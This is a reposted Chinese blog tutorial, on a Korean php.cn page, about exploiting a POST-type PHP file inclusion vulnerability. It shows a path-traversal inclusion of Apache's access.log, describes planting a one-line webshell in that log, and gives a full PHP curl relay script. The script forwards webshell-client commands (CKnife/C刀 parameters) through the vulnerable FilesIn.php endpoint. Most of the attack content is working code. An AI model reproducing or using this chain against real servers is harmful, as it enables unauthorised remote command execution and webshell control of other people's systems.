> 백엔드 개발 > PHP 튜토리얼 > POST型文件包含漏洞之一句话利用

POST型文件包含漏洞之一句话利用

WBOY
풀어 주다: 2016-06-23 13:08:01
원래의
1806명이 탐색했습니다.

最近在忙比赛,碰到了一个文件包含漏洞,通过包含apache的access.log中的一句话,使用CKnife进行连接,但是Get型是十分轻松的,直接 http://xxx/FilesIn.php?filename=../apache/logs/access.log 进行包含利用就行了。但是当遇到这样的文件保护漏洞。

<?phpif(isset($_POST["filename"])) $myfile = $_POST["filename"];else echo "Please set filename!";?>
로그인 후 복사

上面的办法是完全没有效果的,本身菜刀,C刀的配置参数中也不支持POST选项,所以这好好的漏洞岂不是浪费了?通过之前的Cookies注入中的Cookies中转注入思想,写了一个简易的脚本(以C刀为例)。

首先我们先给日志写入一句话。

然后我们可以在靶机上查看一下是否上传成功。

ok

创建如下脚本:

<?php$url="http://192.168.51.103/FilesIn.php"; //中转的脚本路径//初始化提交参数$data = array('filename'=>'../Apache/logs/access.log');if(isset($_POST["CRoot"]))//此处CRoot改为你的密码{ $tmp = array('CRoot'=>$_POST["CRoot"]);//此处CRoot改为你的密码 $data += $tmp;}if(isset($_POST["action"])){ $tmp = array('action'=>$_POST["action"]); $data += $tmp;}if(isset($_POST['z1'])){ $tmp = array('z1'=>$_POST["z1"]); $data += $tmp;}//$data = array('filename'=>'../Apache/logs/access.log','CRoot'=>$postdata,'action'=$_POST["action"],'z1'=$_POST['z1']);//var_dump($data);$data = http_build_query($data);$curl = curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_POST, 1);curl_setopt($curl, CURLOPT_POSTFIELDS, $data);$rtdata = curl_exec($curl);curl_close($curl);echo $rtdata;?>
로그인 후 복사

打开C刀

本地搭建PHP服务器进行连接。测试效果

OK.本次仅仅对PHP类型的文件管理进行了中转处理,其他管理功能可能支持的不大好。

원천:php.cn
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
인기 튜토리얼
더>
최신 다운로드
더>
웹 효과
웹사이트 소스 코드
웹사이트 자료
프론트엔드 템플릿